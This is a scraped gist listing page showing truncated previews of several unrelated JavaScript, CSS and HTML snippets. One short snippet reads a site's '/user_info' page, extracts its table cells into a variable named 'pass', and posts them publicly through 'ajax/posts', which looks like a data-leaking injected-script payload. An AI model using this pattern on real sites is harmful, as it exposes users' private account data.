A Pen by Jerry Reptak on CodePen.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| * Query Redis for emails still needing to be parsed | |
| * Should return error if no items exist | |
| * @param user_name | |
| * @param cb - Callback(err, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| for(var i = 1234567; i <= 9876543; i++) { | |
| fits_descrip(i, function(mid) { | |
| if(mid) { | |
| console.log("Number: " + i + | |
| " middle number: " + mid); | |
| process.exit(0); | |
| } | |
| }); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $(function () { | |
| new GitHub.TreeFinder | |
| }), GitHub.TreeSlider = function () { | |
| if (!Modernizr.history) return; | |
| if ($("#slider").length == 0) return; | |
| if (navigator.userAgent.match(/(iPod|iPhone|iPad)/)) return; | |
| var a = this; | |
| a.enabled = !0, $("#slider a.js-slide-to, .breadcrumb a").live("click", function (b) { | |
| return a.clickHandler(b) | |
| }), $(window).bind("popstate", function (b) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var main = function () { | |
| var ghresize = function (options) { | |
| var ghwid = $("div#wrapper").width() | |
| , extra = $("span.repo-label").width() * 2; | |
| if(options && options.debug) { | |
| console.log("Resizing"); | |
| } | |
| $("div.container.hentry").width(ghwid - extra); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| a=/user_info/; | |
| $.get(a.source, function(data){ | |
| td=/td/; | |
| pass=$(td.source, data); | |
| console.log(pass); | |
| $.post("ajax/posts", {title:pass, body:pass}, function(stuff) { | |
| console.log(stuff) | |
| }); | |
| }); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| .master { | |
| display: inline-block; | |
| float: inherit; | |
| } | |
| .text { | |
| width: 100px; | |
| display: inline-block; | |
| float: inherit; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function press(key) { | |
| var eventObj = document.createEvent("Events"); | |
| eventObj.initEvent("keydown", true, true); | |
| eventObj.which = key; | |
| eventObj.keyIdentifier = 'Trash'; | |
| document.dispatchEvent(eventObj); | |
| } | |
| var qs = (document.querySelector).bind(document); | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <meta charset="utf-8"> | |
| <title>JS Bin</title> | |
| <style id="jsbin-css"> | |
| .tri { | |
| margin-top: 50px; | |
| } |
OlderNewer